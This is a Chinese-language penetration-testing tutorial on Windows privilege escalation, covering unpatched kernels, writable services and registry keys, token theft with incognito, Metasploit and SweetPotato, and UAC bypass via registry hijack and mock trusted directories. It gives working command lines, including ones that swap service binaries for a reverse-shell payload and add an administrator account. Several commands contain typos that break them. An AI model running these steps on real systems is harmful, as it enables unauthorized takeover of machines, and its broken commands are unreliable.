首页 > 系统相关 >内网渗透-Windows常用提权方法

内网渗透-Windows常用提权方法

时间:2024-05-26 22:25:15浏览次数:28  
标签:渗透 exe 服务 Windows 令牌 DLL 提权 权限

一、前言

将介绍常见的提权方法。从为什么该方法能够提权(原理)到使用方法。

二、系统内核漏洞提权

1.为什么能提权?

内核漏洞通常是指内核溢出漏洞,什么溢出呢?缓冲区溢出。

那什么是缓冲区溢出呢?当应用程序或者是内核的驱动程序在接受用户输入的数据的时候,它会把这些数据存储在缓冲区,但是当数据过多溢出的时候,这样溢出的数据可能就会覆盖栈或者堆中的数据结构,包括函数的返回地址和权限的控制信息。攻击者就会利用操作输入的数据来覆盖代替内核的关键数据结构。将恶意代码植入到内核内存中。从来达到提权。

当存在这种漏洞的时候,要及时打上补丁。当然这里就是利用没有打上补丁的系统去提权。主要就是信息收集。

2.手动寻找可利用的漏洞

使用命令去查看系统打了哪些补丁。

systeminfo
或者
wmic qfe get caption , description , hotfixid ,installedon

再去https://i.hacking8.com/tiquan/或者http://blog.neargle.com/win-powerup-exp-index/进行查询未安装补丁或搜索可用exp

3.自动寻找

https://github.com/AonCyberLabs/Windows-Exploit-Suggester
使用Windows-Exploit-Suggester
1 ./windows-exploit-suggester.py --update
2 使用systeminfo获取系统信息,将其保存,如1.txt
3 ./windows-exploit-suggester.py --database 2023-11-04-mssb.xls --systeminfo 1.txt

三、系统服务提权

1.为什么系统服务能提权?

windows系统服务在操作系统启动时运行,并在后台调用可执行文件。但是大多数服务都是以system的权限启动的,如果让这个服务启动时区启动其他的程序,该程序就会随着服务的启动获得系统权限。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。

现在有哪些不安全的系统服务能提权呢?

2.不安全的服务权限

什么是服务权限,就是对服务操作的权限。ACL定义了安全对象的访问控制策略,就是规定哪些用户有些什么样的权限,常见的如下表。其中呢对服务的权限控制呢可能就疏忽了,给用户配置了 SERVICE_CHANGE_CONFIG (更改服务配置权限)或者 SERVICE_ALL_ACCESS(完全控制权限)。也即是说,当这个用户有这两个权限之一,他就可以修改这个服务的启动时候的二进制文件路径。让他去执行恶意文件。从而达到提权。

权限 说明
SERVICE_START 服务启动
SERVICE_STOP 服务暂停
SERVICE_PAUSE_CONTINUE 服务启动或者暂停
SERVICE_QUERY_CONFIG 查询服务配置的权限
SERVICE_CHANGE_CONFIG 更改服务配置的权限
SERVICE_ALL_ACCESS 完全控制权限

那我们只要找“Authenticated Users"组和”INTERACTIVE“组的对系统服务的权限是否有SERVICE_CHANGE_CONFIG或者SERVICE_ALL_ACCESS的权限。

为什么找这两个组呢?因为这两个组是计算机本地users组的成员。

怎么查询呢?可以使用工具accesschk

使用以下命令进行查询:

accesschk.exe /accepteula -uwcqv "Authenticated Users" *
或者
accesschk.exe /accepteula -uwcqv "INTERCTIVE" *

这样就能查询该组是否有更改服务配置的权限。

例如发现 InsproSvc 服务具有SERVICE_CHANGE_CONFIG的权限。那么就可以将该服务启动时执行的二进制文件替换成预先上传的攻击载荷。当服务重启攻击载荷(reverse_tcp)就会继承系统权限。如下命令进行替换

sc config Insprosvc binpath= "cmd.exe /k C:\Users\Public\reverse_tcp.exe"
# 指定insprosvc服务的二进制文件路径,=后要有空格

重启服务之后就会生效。

sc stop insprosvc
sc start insprosvc

3.服务注册表权限

和2一样,如果低用户对某些服务的注册表拥有写入权限,那么就可以修改服务的启动路径为攻击载荷路径。

Accesschk.exe 查看用户是否有这些权限

accesschk.exe /accepteula -uwcqv "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services

假设发现对RegSvc服务具有完全控制的权限。那么就修改路劲

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Service\RegSvc /v ImagePath /t REG_EXPAND_SAZ /d “cmd.exe /k C:\users\public\revers_tcp.exe" /f

使用命令查看是否拥有重启权限

accesschk.exe /accepteula -uwcqv "Authenticated Users" RegSvc

有的话重启就可提权

4.服务路径权限可控

某个服务的二进制文件权限可以写入,那么就可以将载荷攻击文件写在那。

wmic service get displayname,startmode,pathname|findstr /i “Auto” | findstr /i /v “C:\Windows\”
探测符合条件的服务

如果发现某个服务的路径可写。那么就将那个服务的可运行文件替换成同名的攻击载荷。

upload /root/reverse_tcp "c:\program\xx\xx.exe"

再重启服务即可提权。

5.powerup

当然上述的所有关于服务的提权,powerup中都有涉及。https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

详细使用参考https://blog.csdn.net/l1028386804/article/details/86089574?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169917767416800225535038%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169917767416800225535038&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-86089574-null-null.142v96pc_search_result_base5&utm_term=PowerUP&spm=1018.2226.3001.4187

基本使用

1.导入模块 Import-Module .\PowerUp.ps1
2.一键查询服务Invoke-AllChecks

四、令牌窃取

1.什么是令牌窃取?为什么能提权?

首先得知道什么是令牌?这里的令牌窃取通常是指进程的访问令牌的窃取?那什么是访问令牌?访问令牌是描述进程安全上下文的对象,包含了与该进程相关的用户账户标识和特权等信息。

然后就可以通过操作一个高权限进程的访问令牌来 当做一个进程的令牌。就是说偷其他进程的令牌来用。然后就可以拥有那个令牌自身拥有的权限。

能偷其他进程的访问令牌的条件:该用户必须有SeImpersonatePrivilege 和SeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege权限。而这两个权限的用户通常是系统管理员账户,web服务账户,和IIs MsSQL账户等。

2.直接令牌窃取(直接偷)

2.1 使用incognnito.exe。上传到主机。

incognito.exe list_tokens -u #列举当前主机上的所有访问令牌
incognito.exe execute -c "NT AUTHORITY\SYSTEM" whoami
#-c 偷令牌,whoami 偷完后执行的命令
incognito.exe execute -c "travel-me\Bob" cmd
偷域下Bob的令牌,然后执行它的。也就是切换到Bob的用户。

2.2 使用MetaSploit 偷

load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
steal_token <PID> #偷上面所列进程的ID令牌

有时候system 权限也有更改不了的东西,比如Windows系统文件,那么就可以偷TrustedInstaller权限。

sc start TrustedInstaller 启动服务

steal_token

3.Potato土豆提权

potato家族有很多小偷,专门偷人家的令牌。比如:Rotten Potato 烂土豆,Juicy potato 等。

甜土豆集成了大多数土豆https://github.com/uknowsec/SweetPotato

使用 命令

sweetpotato.exe -a <命令>

#比如 sweetpotato.exe -a whoami 
sweetpotato.exe -a "net user test Admin&1 /add"
sweetpotato.exe -a "net user localgroup Administrator test /add"
添加管理员用户。

五、绕过UAC

1.什么是UAC?绕过他为什么就能提权?

UAC (user Account Control)用户账户控制,用来管理操作系统不让他乱安程序。在安装软件的时候一般都会弹出来一个是否允许安装的提示,就是那个东西。

绕过它之后咱就可以安装恶意软件了呗。然后就可以提权。但严格意义上来说也不是提权,只是绕过了这种保护机制。

2.通过UAC白名单绕过

什么是UAC白名单?操作系统自己有一些进程在运行的时候不需要通过验证就直接可以运行,这些程序在UAC白名单中,比如:slui.exe.taskmgr.exe等。

当这些程序运行的时候可以通过DLL劫持,DLL注入或者注册表劫持等 绕过DLL去执行我们的恶意程序。

这里举例注册表劫持:

2.1 首先使用工具找出白名单的程序。

在UAC白名单中的程序都有一个特点,就是Mainfest数据中的autoElevate属性的值为True。

strings.exe 可以检测程序是否有autoElevate 属性,从而找出白名单的程序:

strings.exe /accepteula -s C:\windows\system32\*.exe | findstr /i "aotoElevate"

假如ComputerDefaults.exe 进程:

打开这个exe,没有验证直接进入默认应用界面。

通过进程监控 分析该进程会发现,它会先去访问HKCU\Software\Classes\ms-settings\shell\open\command,发现没东西后再去访问 HKCR\ms-settings\Shell\Open\Command\DelegateExecute.

然后我们就可以劫持HKCU\Software\Classes\ms-settings\shell\open\command 中的默认值和 DelegateExecute

reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe"  #可以是攻击载荷的路径。

reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\windows\system32\cmd.exe"

当这个应用重启的时候就会反弹或者打开cmd,然后getsystem

3.DLL劫持

什么是DLL劫持,程序通常并不是一个完整的可执行文件,被分割成一些DLL文件。当应用程序加载DLL时,如果没有指定DLL的绝对路径,那么程序就会以特定的顺序去遍历搜索加载的DLL,如果将同名的恶意的DLL文件放在真正的DLL之前,那么就会被劫持。这就是劫持。

但是这前提是这个遍历目录可写。这个目录通常又不可写。所以这个技术通常和模拟可信任技术来配合使用。

所以提出下面这个 模拟可信任目录

4.模拟可信任目录

之前说了UAC白名单中的程序的manifest 数据中的autoElevate为true,当执行的时候,不但要检查这个条件,还要检查这个程序是否在可信任目录C:\windows\system32中。两者缺一不可。但是当系统在检查可信任目录时,会自动去除路径中的空格。比如

”C:\Windows \system32" 会被解析成 “C:\windows\system32”

那么我们就可以创建一个”C:\Windows \system32"目录,把白名单中的程序复制进这个含空格的目录中。再把恶意DLL文件放到这个模拟的可信任目录中。然后运行这个模拟目录中的可执行程序。就会达到绕过UAC DLL劫持提权的效果。

md "\\?\C:\Windows "
md "\\?\C:\Windows \System32"
copy C:\Windows\System32\winSTA.exe  "C:\Windows \System32\winSAT.exe"

但是制作DLL的时候,要注意恶意DLL的导出函数要与被劫持的DLL一样。

专业名词解释:DelegateExecute 是 Windows 操作系统中的一个 COM (Component Object Model) 接口,它通常与应用程序扩展和外部处理程序相关。DelegateExecute 接口允许一个应用程序或组件将某些任务委托给其他程序或处理程序来执行,通常是为了增强功能或实现某种定制化的行为。

Manifest 数据指的是一个应用程序清单(Application Manifest),它是一个用于描述应用程序特性、依赖关系、权限要求以及其他元数据的 XML 文件。应用程序清单通常附加到应用程序的可执行文件(如 .exe 文件)或动态链接库(DLL)中,以便操作系统和其他程序能够正确地识别和与应用程序互动。

5.使用MSF下的Bypass模块绕过UAC

use exploit/windows/local/bypassuac  #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection  #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0          
set lport 24444                #本地监听的端口,随便设置一个未被占用的端口即可
exploit

六、Print Spooler 打印服务提权

Print spooler 服务是Windows 的打印后台处理服务,用来管理本地和网络的打印队列。

1.PrintDemo (CVE-2020-1048)

这个漏洞就是,用户可以在系统上写入任意文件。为什么能写入文件呢?

在Windows 上添加打印机的时候需要设置端口,这些端口可以是LPT1端口,USB端口,网络端口,也可以是文件,当是一个文件路径的时候,那么打印机就会把数据打印到指定的文件。但是标准用户想要将路径设置到受保护的路径的时候就会因为没有权限而失败。

但是微软为了应对打印过程中突然中断或者异常情况,引入了假脱机打印机制,什么意思?就是说当打印出现异常的时候可以重启然后继续打印。

然而这就会有一个问题,当重启服务的时候会直接调用system权限来恢复之前的打印作业。如果此时的打印机的端口为文件路径,那么就会造成任意文件写入。

关于这个漏洞https://bbs.kanxue.com/thread-261557.htm

2.CVE-2021-1675 、CVE-2021-34527

七、Nopac 域内提权(Kerberos)

八、Certifired活动目录证书提权

标签:渗透,exe,服务,Windows,令牌,DLL,提权,权限
From: https://www.cnblogs.com/iruan/p/18214390

相关文章

  • 一个免费、时尚、强大的 Windows GitHub 客户端
    前言今天大姚给大家分享一个.NET开源(MITLicense)、免费、时尚、功能强大的WindowsGitHub客户端:FluentHub。工具功能多任务标签页。上下文菜单扩展。对问题和PR进行评论。用户/组织/代码库页面。代码库页面的列/树布局。编辑用户固定的代码库。编辑用户个人资料信息。......
  • 数据库提权
    1、通过将sql语句导出文件的方式(备份)mysql5.5以上默认,secure_file_priv为null,secure_file_priv=null表示所有文件路径均不允许导出。'空'可任意导出,值应该设置为什么都没有(删除)才能消除mysql自身的写拦截。/tmp指定路径导出对web目录是否有写权限mysqlrootlinuxroot......
  • WindowsCA证书服务(二)IIS发放证书
    简介IIS,虽说没怎么用,asp也少了,即使有也DOCKER部署。但是和CA中心配合,最合适的就IIS了吧。安装安装windowsserver2022略加入域略安装IIS添加IIS 角色服务先默认 测试IIShttp 检查根证书运行certmgr,可以看到加入域的计算机是自动获取自己的根证书的。手动申......
  • 【MySQL数据库】认识数据库+环境搭建--------Windows系统
    一、认识数据库数据库(Database)是按照数据结构来组织、存储和管理数据的仓库。二、MySQL数据库MySQL是一个关系型数据库管理系统,由瑞典MySQLAB公司开发,目前属于Oracle公司。MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大......
  • Windows、Linux下,基于QT的打包方法
    整理这篇文档的意义在于:自己走了很多弯路,淋过雨所以想为别人撑伞,也方便回顾,仅供参考ps:第一次做Windows下打包,用了2小时,第二次20秒第一次做Linux(ubuntu)下打包,用了8小时,第二次1分半一、Windows有许多比较坑的帖子,会带新人走不少弯路,大家注意鉴别(没方法,随缘)1、首先,找到......
  • Windows10/Windows11打开文件提示安全警告解决办法
    有用的方法打开Internet选项,在安全选项卡中点击"自定义级别",在"其他"项中,将"加载应用程序和不安全文件(不安全)"设置为"启用(不安全)".此搜索结果来自网络,由于我的电脑的Internet选项中的"自定义级别按钮"是被置灰了,找了一天的办法都没取消置灰,所以本人未尝试本办法,但......
  • OneForall工具的下载安装和使用(Windows和Linux)
    目录OneForall的介绍OneForall的下载OneForall的安装安装要求安装步骤(git版)安装(kali)OneForall的使用命令在Windows在Linux(kali)OneForall的结果说明免责声明本文所提供的文字和信息仅供学习和研究使用,请读者自觉遵守法律法规,不得利用本文所提供的信息从事任何违......
  • Windows Server 2022 NTP服务器
    一、配置NTP服务器配置NTP服务器,为客户端提供时间同步服务。如果计算机是ActiveDirectory域控制器,则NTP服务器功能已自动启动。因此,下面的示例是计算机在工作组环境中启用NTP服务器功能。1.1使用管理员权限运行PowerShell并配置。WindowsPowerShellCopyright(C)Micro......
  • VB6重启服务WINDOWS service
     服务状态State=Running等待服务,直到停止状态State=StopPending,Started=True状态State=StopPending,Started=True状态State=StopPending,Started=True状态State=StopPending,Started=True状态State=StopPending,Started=True状态State=StopPending,Star......
  • 【赛题解析】【网络建设与运维】2023年全国职业院校技能大赛中职组“网络建设与运维”
    在此之前,欢迎关注波比网络波比网络官方公众号:blbinet波比网络工作室官方公众号:blbistudio技能大赛各赛项交流群:https://www.blbi.cn/threads/40/更多正式赛题源文件访问:https://www.blbi.cn获取技术支持访问:https://www.blbi.cn/form/1/selectNISP、CIPS、PTE证书可......